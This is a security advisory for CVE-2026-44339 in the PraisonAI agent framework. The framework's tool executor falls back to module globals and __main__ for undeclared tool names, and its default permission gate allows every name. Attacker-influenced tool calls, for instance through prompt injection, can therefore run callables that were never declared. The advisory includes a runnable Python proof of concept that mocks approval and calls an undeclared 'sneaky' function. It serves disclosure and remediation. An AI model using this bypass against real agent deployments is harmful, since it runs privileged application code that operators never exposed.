Browse / Tool and Agent Misuse / CVE-2026-44339
PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute
- Class
- Tool and Agent Misuse (filed by a model that read the advisory)
- Technique
- Code and command execution
- Also involves
- Indirect Prompt Injection
- Affected
- praisonai, praisonaiagents (PyPI)
- Gets past
- Authorisation check
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
- EPSS
- 0.4% chance of exploitation in 30 days
How it works, in short
When a tool name is undeclared, the agent falls back to module globals and __main__ and runs any matching callable, which the permission gate does not stop. (Our summary, written by a model. The source text is below.)
Details
Summary
praisonaiagents resolves unresolved tool names against module globals and __main__ after it fails to match the declared tool list and the registry. With the default agent configuration, _perm_allow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.
Details
The vulnerable resolution path is in [tool_execution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734). After searching declared tools and the registry, execution falls back to globals() and then __main__:
func = None
for tool in self.tools if isinstance(self.tools, (list, tuple)) else []:
...
if func is None:
try:
from ..tools.registry import get_registry
registry = get_registry()
func = registry.get(function_name)
except ImportError:
pass
if func is None:
func = globals().get(function_name)
if not func:
import __main__
func = getattr(__main__, function_name, None)
If a callable is found, it is executed directly:
elif callable(func):
casted_arguments = self._cast_arguments(func, arguments)
return func(**casted_arguments)
The permission gate does not enforce a declared-tool allowlist by default. In [tool_execution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550), execution is only rejected if _perm_allow is non-None:
if self._perm_deny and function_name in self._perm_deny:
return {"error": f"Tool '{function_name}' blocked by permission policy", "permission_denied": True}
if self._perm_allow is not None and function_name not in self._perm_allow:
return {"error": f"Tool '{function_name}' not in allowed tools list", "permission_denied": True}
Default agent initialization sets _perm_allow = None, which means "allow all" rather than "allow only declared tools" in [agent.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):
self._perm_deny = frozenset() # Permission tier deny set (empty = no denials)
self._perm_allow = None # Permission tier allow set (None = allow all)
The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:
[test_permissions.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:56) asserts that a defaultAgenthas_perm_allow is None.- [
test_permissions.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:142) explicitly checks thatagent._check_tool_approval_sync("my_custom_tool", {})passes for an undeclared tool name.
Empirical verification:
I verified the bypass locally on commit d8a8a786915dc67a7c3021e24f72458f2eac5d9c (v4.6.35) by defining a callable only in __main__, giving the agent an empty tools list, and invoking execute_tool() with that undeclared name. The tool executor ran the __main__ function anyway.
PoC
Environment - Repo: MervinPraison/PraisonAI - Commit: d8a8a786915dc67a7c3021e24f72458f2eac5d9c - Verified against PyPI package versions available on May 3, 2026: - praisonaiagents 1.6.35 - PraisonAI 4.6.35 - Python 3
Steps
1. From the repository root, run:
python3 - <<'PY'
import sys
from unittest.mock import MagicMock, patch
sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents')
from praisonaiagents.agent.tool_execution import ToolExecutionMixin
def sneaky(msg='ok'):
return {'ran': msg}
class HookRunner:
def execute_sync(self, *args, **kwargs):
return []
def is_blocked(self, results):
return False
class Dummy(ToolExecutionMixin):
def __init__(self):
self.name = 'demo'
self.tools = []
self.chat_history = []
self._hook_runner = HookRunner()
self.context_manager = None
self._doom_loop_tracker = None
self._perm_deny = frozenset()
self._perm_allow = None
self._approval_backend = None
mock_registry = MagicMock()
mock_registry.approve_sync.return_value = MagicMock(approved=True, reason='mock', modified_args=None)
mock_registry.mark_approved = MagicMock()
with patch('praisonaiagents.approval.get_approval_registry', return_value=mock_registry):
agent = Dummy()
print(agent.execute_tool('sneaky', {'msg': 'hello'}))
print(mock_registry.approve_sync.call_args)
PY
Expected output
{'ran': 'hello'}
call('demo', 'sneaky', {'msg': 'hello'})
The important point is that sneaky was never declared in self.tools and was only present in __main__.
Impact
- Any deployment that lets an untrusted party influence tool-call names: undeclared application callables can run even though they were never registered as tools. - Operators who rely on the declared tool list as a security boundary: that boundary is broken because unresolved names fall through to globals() and __main__. - Applications that keep privileged helper functions in process scope: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gmjg-hv98-qggq
- https://nvd.nist.gov/vuln/detail/CVE-2026-44339
- https://github.com/MervinPraison/PraisonAI
Source: GitHub Advisory Database, used under CC BY 4.0.